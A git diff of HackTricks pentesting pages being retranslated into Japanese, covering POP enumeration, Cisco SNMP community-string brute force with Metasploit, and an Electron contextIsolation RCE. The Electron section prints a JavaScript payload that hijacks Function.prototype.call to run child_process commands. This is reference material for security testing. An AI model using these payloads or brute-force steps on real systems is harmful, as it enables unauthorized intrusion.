auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **や** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 110,995 - POPのペンテスト # 110,995 - Pentesting POP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するためにPRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,35 +25,35 @@
## 基本情報 ## 基本情報
**ポストオフィスプロトコルPOP**は、コンピューターネットワーキングとインターネットの領域内で説明されるプロトコルで、リモートメールサーバーからの電子メールの取り出しと**取得**に使用され、これによりローカルデバイスでアクセスできるようになります。 OSIモデルのアプリケーション層に配置されているこのプロトコルは、ユーザーが電子メールを取得して受信することを可能にします。 **POPクライアント**の動作は通常、メールサーバーに接続し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。 このプロトコルには3つのイテレーションがありますが、**POP3**が最も一般的に使用されるバージョンとして際立っています。 **Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の動作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。
**デフォルトポート:** 110、995ssl **デフォルトポート:** 110, 995(ssl)
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
``` ```
## 列挙 ## 列挙
### バナー取得 ### バナーグラビング
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
``` ```
## マニュアル ## マニュアル
POP3サーバーの機能を取得するために`CAPA`コマンドを使用できます。 `CAPA` コマンドを使用して、POP3 サーバーの機能を取得できます。
## 自動 ## 自動
```bash ```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
``` ```
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データ (Windows versions) を返します。 `pop3-ntlm-info` プラグインは、いくつかの "**機密**" データWindows バージョン)を返します。
### [POP3 ブルートフォース](../generic-methodologies-and-resources/brute-force.md#pop) ### [POP3 ブルートフォース](../generic-methodologies-and-resources/brute-force.md#pop)
## POP 構文 ## POP 構文
[こちら](http://sunnyoasis.com/services/emailviatelnet.html) からの POP コマンドの例 POP コマンドの例は [こちら](http://sunnyoasis.com/services/emailviatelnet.html) から
```bash ```bash
POP commands: POP commands:
USER uid Log in as "uid" USER uid Log in as "uid"
@ -64,9 +67,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg TOP msg n Show first n lines of message number msg
CAPA Get capabilities CAPA Get capabilities
``` ```
### Post Office Protocol (POP) 例:
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials or use tools like Hydra to automate the process. Additionally, you can look for vulnerabilities in the POP server configuration that may allow unauthorized access.
``` ```
root@kali:~# telnet $ip 110 root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -93,15 +94,15 @@ password: PA$$W0RD!Z
``` ```
## 危険な設定 ## 危険な設定
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)から From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **設定** | **説明** | | **設定** | **説明** |
| ------------------------- | ----------------------------------------------------------------------------------------- | | ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | すべての認証デバッグログを有効にします。 | | `auth_debug` | すべての認証デバッグログを有効にします。 |
| `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームがログに記録されます。 | | `auth_debug_passwords` | この設定はログの冗長性を調整し、送信されたパスワードとスキームがログに記録されます。 |
| `auth_verbose` | 認証に失敗した試行とその理由が記録されます。 | | `auth_verbose` | 不成功な認証試行とその理由をログに記録します。 |
| `auth_verbose_passwords` | 認証に使用されるパスワードが記録され、切り捨てられることもあります。 | | `auth_verbose_passwords` | 認証に使用されるパスワードがログに記録され、切り詰められることもあります。 |
| `auth_anonymous_username` | ANONYMOUS SASLメカニズムを使用してログインする際に使用するユーザー名を指定します。 | | `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 |
**Try Hard Security Group** **Try Hard Security Group**
@ -109,7 +110,7 @@ password: PA$$W0RD!Z
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Automatic Commands ## HackTricks 自動コマンド
``` ```
Protocol_Name: POP #Protocol Abbreviation if there is one. Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one. Port_Number: 110 #Comma separated if there is more than one.
@ -152,13 +153,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したいですか**?それとも**最新のPEASSにアクセスしたい、またはHackTricksをPDFでダウンロードしたいですか**[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **参加してください** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **あなたのハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -1,68 +1,74 @@
# Cisco SNMP # Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方、そしてハッキングできないものをハックしたい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Ciscoネットワークのペンテスト ## Pentesting Cisco Networks
**SNMP**は、一般メッセージ用のポート161/UDPとトラップメッセージ用のポート162/UDPを介してUDP上で機能します。このプロトコルは、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能するコミュニティ文字列に依存しています。これらの文字列は、アクセスレベル、特に**読み取り専用ROまたは読み書き可能RW権限**を決定するために重要です。ペンテスターの注目すべき攻撃ベクトルは、ネットワークデバイスに浸透することを目的とした**コミュニティ文字列の総当たり攻撃**です。 **SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定するために重要です。ペンテスターにとって注目すべき攻撃ベクターは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
このような総当たり攻撃を実行するための実用的なツールは、[**onesixtyone**](https://github.com/trailofbits/onesixtyone)です。このツールには、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です。 そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です:
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
#### `cisco_config_tftp` #### `cisco_config_tftp`
Metasploitフレームワークには`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得した場合にデバイス構成を抽出するのを容易にします。この操作のための基本的なパラメータは次のとおりです: Metasploitフレームワークには、デバイスの設定を抽出するための`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得することが条件です。この操作に必要なパラメータは以下の通りです:
* RWコミュニティ文字列 (**COMMUNITY**) * RWコミュニティ文字列 (**COMMUNITY**)
* 攻撃者のIP (**LHOST**) * 攻撃者のIP (**LHOST**)
* ターゲットデバイスのIP (**RHOSTS**) * ターゲットデバイスのIP (**RHOSTS**)
* 構成ファイルの出力先パス (**OUTPUTDIR**) * 設定ファイルの保存先パス (**OUTPUTDIR**)
このモジュールを構成すると、デバイス設定を指定したフォルダに直接ダウンロードできます。 設定が完了すると、このモジュールはデバイスの設定を指定したフォルダーに直接ダウンロードすることができます。
#### `snmp_enum` #### `snmp_enum`
別のMetasploitモジュール、**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。任意の種類のコミュニティ文字列で動作し、成功するためにはターゲットのIPアドレスが必要です 別のMetasploitモジュール、**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。これは、いずれかのタイプのコミュニティ文字列で動作し、成功裏に実行するためにはターゲットのIPアドレスが必要です
```bash ```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
``` ```
## 参考文献 ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
興味がある場合は、**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**_流暢なポーランド語の読み書きが必要です_ もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expertを使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れる * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details> </details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Electron contextIsolationを介したElectron内部コードによるRCE # Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
## 1 ## Example 1
[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)からの例 [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)からの例
「exit」イベントリスナーは、ページの読み込みが開始されると常に内部コードによって設定されます。このイベントは、ナビゲーションの直前に発生します "exit"イベントリスナーは、ページの読み込みが開始されるときに内部コードによって常に設定されます。このイベントは、ナビゲーションの直前に発生します:
```javascript ```javascript
process.on('exit', function (){ process.on('exit', function (){
for (let p in cachedArchives) { for (let p in cachedArchives) {
@ -29,21 +32,21 @@ cachedArchives[p].destroy()
![](<../../../.gitbook/assets/image (1070).png>) ![](<../../../.gitbook/assets/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- もはや存在しません https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- もはや存在しない
にここに移動します: はここに行きます:
![](<../../../.gitbook/assets/image (793).png>) ![](<../../../.gitbook/assets/image (793).png>)
ここで "self" は Node のプロセスオブジェクトです: ここで「self」はNodeのプロセスオブジェクトです:
![](<../../../.gitbook/assets/image (700).png>) ![](<../../../.gitbook/assets/image (700).png>)
プロセスオブジェクトには "require" 関数への参照があります: プロセスオブジェクトには「require」関数への参照があります:
``` ```
process.mainModule.require process.mainModule.require
``` ```
以下のように、handler.call は process オブジェクトを受け取るため、それを上書きして任意のコードを実行できます: handler.callがprocessオブジェクトを受け取るため、任意のコードを実行するために上書きすることができます:
```html ```html
<script> <script>
Function.prototype.call = function(process){ Function.prototype.call = function(process){
@ -52,26 +55,29 @@ process.mainModule.require('child_process').execSync('calc');
location.reload();//Trigger the "exit" event location.reload();//Trigger the "exit" event
</script> </script>
``` ```
## 2 ## Example 2
**プロトタイプ汚染からrequireオブジェクトを取得します**。[https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) **プロトタイプ汚染からrequireオブジェクトを取得**。 [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
リーク: 漏洩:
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
エクスプロイト エクスプロイト:
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# Laravel # Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
